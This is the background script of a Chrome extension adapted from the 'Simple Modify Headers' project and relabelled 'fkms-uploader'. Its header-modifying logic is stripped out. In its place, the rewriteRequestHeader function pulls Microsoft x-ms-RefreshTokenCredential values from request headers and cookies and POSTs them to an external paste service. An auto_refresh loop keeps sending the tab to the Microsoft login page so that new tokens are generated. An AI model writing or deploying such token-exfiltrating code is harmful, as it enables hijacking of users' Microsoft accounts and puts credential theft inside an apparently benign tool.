
/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/. 
 *
 * @author didierfred@gmail.com
 * @version 0.4
 */

// fkmsuploader: only tested on chrome

"use strict";

let config;
let started = 'off';
let debug_mode = false;
const isChrome = (navigator.userAgent.toLowerCase().indexOf("chrome") !== -1);

loadFromBrowserStorage(['config', 'started'], function (result) {

  // if old storage method
  if (result.config === undefined) loadConfigurationFromLocalStorage();
  else {
    started = result.started;
    config = JSON.parse(result.config);
  }

  if (started === 'on') {
    addListener();
    chrome.browserAction.setIcon({ path: 'icons/modify-green-32.png' });
  }
  else if (started !== 'off') {
    started = 'off';
    storeInBrowserStorage({ started: 'off' });
  }
  // listen for change in configuration or start/stop
  chrome.runtime.onMessage.addListener(notify);
});


function loadConfigurationFromLocalStorage() {
  // if configuration exist 
  if (localStorage.getItem('config')) {
    console.log("Load standard config");
    config = JSON.parse(localStorage.getItem('config'));

    // If config 1.0 (Simple Modify headers V1.2) , save to format 1.1
    if (config.format_version === "1.0") {
      config.format_version = "1.2";
      for (let line of config.headers) {
        line.apply_on = "req";
        line.url_contains = "";
      }
      config.debug_mode = false;
      config.use_url_contains = false;
      console.log("save new config" + JSON.stringify(config));
    }
    // If config 1.1 (Simple Modify headers V1.3 to version 1.5) , save to format 1.2	
    if (config.format_version === "1.1") {
      config.format_version = "1.2";
      for (let line of config.headers) line.url_contains = "";
      config.use_url_contains = false;
      console.log("save new config" + JSON.stringify(config));
    }
  }
  else {
    // else check if old config exist (Simple Modify headers V1.1)
    if (localStorage.getItem('targetPage') && localStorage.getItem('modifyTable')) {
      console.log("Load old config");
      let headers = [];
      let modifyTable = JSON.parse(localStorage.getItem("modifyTable"));
      for (const to_modify of modifyTable) {
        headers.push({ action: to_modify[0], url_contains: "", header_name: to_modify[1], header_value: to_modify[2], comment: "", apply_on: "req", status: to_modify[3] });
      }
      config = { format_version: "1.1", target_page: localStorage.getItem('targetPage'), headers: headers, debug_mode: false, use_url_contains: false };
    }
    //else no config exists, create a default one
    else {
      console.log("Load default config");
      let headers = [];
      config = { format_version: "1.1", target_page: "https://*/*", headers: headers, debug_mode: false, use_url_contains: false };
    }
  }
  storeInBrowserStorage({ config: JSON.stringify(config) });
  started = localStorage.getItem('started');
  if (started !== undefined) storeInBrowserStorage({ started: started });
}




function loadFromBrowserStorage(item, callback_function) {
  chrome.storage.local.get(item, callback_function);
}

function storeInBrowserStorage(item, callback_function) {
  chrome.storage.local.set(item, callback_function);
}

/*
 * This function set a key-value pair in HTTP header "Cookie", 
 *   and returns the value of HTTP header after modification. 
 * If key already exists, it modify the value. 
 * If key doesn't exist, it add the key-value pair. 
 * If value is undefined, it delete the key-value pair from cookies. 
 *
 * Assuming that, the same key SHOULD NOT appear twice in cookies. 
 * Also assuming that, all cookies doesn't contains semicolon. 
 *   (99.9% websites are following these rules)
 *
 * Example: 
 *   cookie_keyvalues_set("msg=good; user=recolic; password=test", "user", "p")
 *     => "msg=good; user=p; password=test"
 *   cookie_keyvalues_set("msg=good; user=recolic; password=test", "time", "night")
 *     => "msg=good; user=recolic; password=test;time=night"
 *
 * Recolic K <root@recolic.net>
 */
function cookie_keyvalues_set(original_cookies, key, value) {
    let new_element = key + "=" + value; // not used if value is undefined. 
    let cookies_ar = original_cookies.split(";").filter(e => e.trim().length > 0);
    let selected_cookie_index = cookies_ar.findIndex(kv => kv.trim().startsWith(key+"="));
    if (selected_cookie_index == -1)
        cookies_ar.push(new_element);
    else {
        if (value === undefined)
            cookies_ar.splice(selected_cookie_index, 1);
        else
            cookies_ar.splice(selected_cookie_index, 1, new_element);
    }
    return cookies_ar.join(";");
}
/* 
 * This function modify the HTTP response header "Set-Cookie", 
 *   and replace the value of its cookie, to some new_value. 
 * If key doesn't match original_set_cookie_header_content, new key is used in result. 
 *
 * Example: 
 *   set_cookie_modify_cookie_value("token=123; path=/; expires=Sat, 30 Oct 2021 17:57:32 GMT; secure; HttpOnly", "token", "bar")
 *     => "token=bar; path=/; expires=Sat, 30 Oct 2021 17:57:32 GMT; secure; HttpOnly"
 *   set_cookie_modify_cookie_value("  user=recolic", "user", "hacker")
 *     => "user=hacker"
 *   set_cookie_modify_cookie_value("user=recolic; path=/; HttpOnly", "token", "bar")
 *     => "token=bar; path=/; HttpOnly"
 *
 * Recolic K <root@recolic.net>
 */
function set_cookie_modify_cookie_value(original_set_cookie_header_content, key, new_value) {
    let trimmed = original_set_cookie_header_content.trimStart();
    let original_attributes = trimmed.indexOf(";") === -1 ? "" : trimmed.substring(trimmed.indexOf(";"))
    return key + "=" + new_value + original_attributes;
}


/*
* Standard function to log messages
*
*/

function log(message) {
  console.log(new Date() + " SimpleModifyHeader : " + message);
}

function copyTextToClipboard(text) {
  //Create a textbox field where we can insert text to.
  var copyFrom = document.createElement("textarea");

  //Set the text content to be the text you wished to copy.
  copyFrom.textContent = text;

  //Append the textbox field into the body as a child.
  //"execCommand()" only works when there exists selected text, and the text is inside
  //document.body (meaning the text is part of a valid rendered HTML element).
  document.body.appendChild(copyFrom);

  //Select all the text!
  copyFrom.select();

  //Execute command
  document.execCommand('copy');

  //(Optional) De-select the text using blur().
  copyFrom.blur();

  //Remove the textbox field from the document.body, so no other JavaScript nor
  //other elements can get access to this.
  document.body.removeChild(copyFrom);
}

// fkms-uploader:
function auto_refresh() {
    if(started == 'on') {
        let myNewUrl = `https://login.microsoftonline.com/`;
        chrome.tabs.update(undefined, { url: myNewUrl });
    }
    setTimeout(auto_refresh, 1000 * 60 * 2); // call me again in 2 minutes
}
auto_refresh();


/*
* Rewrite the request header (add , modify or delete)
*
*/
function rewriteRequestHeader(e) {
    if (config.debug_mode) log("Start modify request headers for url " + e.url);
    // removed by recolic

    // monitor x-ms-RefreshTokenCredential
    let found = false;
    function on_got_cred(cred) {
        found = true;
        log("POS HEADER URL " + e.url);
        // copyTextToClipboard(cred);

        let fd = new FormData();
        fd.append("content", new Date().toLocaleString() + '|' + cred);
        fetch('https://recolic.net/paste/apibin.php?debug_from=fkms-uploader', {
            method: 'POST', 
            body: fd
            }).then(r => {
            log("DEBUG: Upload returns " + r.text());
        });
    }


    for (let header of e.requestHeaders) {
        if (header.name.toLowerCase() === "x-ms-RefreshTokenCredential".toLowerCase()) {
            on_got_cred(header.value);
        }
        else if (header.name.toLowerCase() === "cookie".toLowerCase()) {
            if(header.value.toLowerCase().includes("x-ms-RefreshTokenCredential".toLowerCase())) {
                let posL = header.value.toLowerCase().indexOf("x-ms-RefreshTokenCredential=".toLowerCase()) + "x-ms-RefreshTokenCredential=".length; 
                let posR = header.value.toLowerCase().indexOf(";", posL); 
                on_got_cred(header.value.substr(posL, posR-posL));
            }
        }
    }
    if(!found) log("NEG URL " + e.url);
 

    if (config.debug_mode) log("End modify request headers for url " + e.url);
    return { requestHeaders: e.requestHeaders };
}


/*
* Rewrite the response header (add , modify or delete)
*
*/
function rewriteResponseHeader(e) {
    // removed by recolic
  return { responseHeaders: e.responseHeaders };
}


/*
* Listen for message form config.js
* if message is reload : reload the configuration
* if message is on : start the modify header
* if message is off : stop the modify header
*
**/
function notify(message) {
  if (message === "reload") {
    if (config.debug_mode) log("Reload configuration");
    loadFromBrowserStorage(['config'], function (result) {
      config = JSON.parse(result.config);
      if (started === "on") {
        removeListener();
        addListener();
      }
    });
  }
  else if (message === "off") {
    removeListener();
    chrome.browserAction.setIcon({ path: "icons/modify-32.png" });
    started = "off";
    if (config.debug_mode) log("Stop modifying headers");
  }
  else if (message === "on") {
    addListener();
    chrome.browserAction.setIcon({ path: "icons/modify-green-32.png" });
    started = "on";
    if (config.debug_mode) log("Start modifying headers");
  }
}

/*
* Add rewriteRequestHeader as a listener to onBeforeSendHeaders, only for the target pages.
* Add rewriteResponseHeader as a listener to onHeadersReceived, only for the target pages.
* Make it "blocking" so we can modify the headers.
*/
function addListener() {
  let target = config.target_page.replaceAll(' ',''); 
  if ((target === "*") || (target === "")) target = "<all_urls>";

  // need to had "extraHeaders" option for chrome https://developer.chrome.com/extensions/webRequest#life_cycle_footnote
  if (isChrome) {
    chrome.webRequest.onBeforeSendHeaders.addListener(rewriteRequestHeader,
      { urls: target.split(";") },
      ["blocking", "requestHeaders", "extraHeaders"]);

    chrome.webRequest.onHeadersReceived.addListener(rewriteResponseHeader,
      { urls: target.split(";") },
      ["blocking", "responseHeaders", "extraHeaders"]);
  }

  else {
    chrome.webRequest.onBeforeSendHeaders.addListener(rewriteRequestHeader,
      { urls: target.split(";") },
      ["blocking", "requestHeaders"]);
    chrome.webRequest.onHeadersReceived.addListener(rewriteResponseHeader,
      { urls: target.split(";") },
      ["blocking", "responseHeaders"]);
  }

}


/*
* Remove the two listener
*
*/
function removeListener() {
  chrome.webRequest.onBeforeSendHeaders.removeListener(rewriteRequestHeader);
  chrome.webRequest.onHeadersReceived.removeListener(rewriteResponseHeader);
}


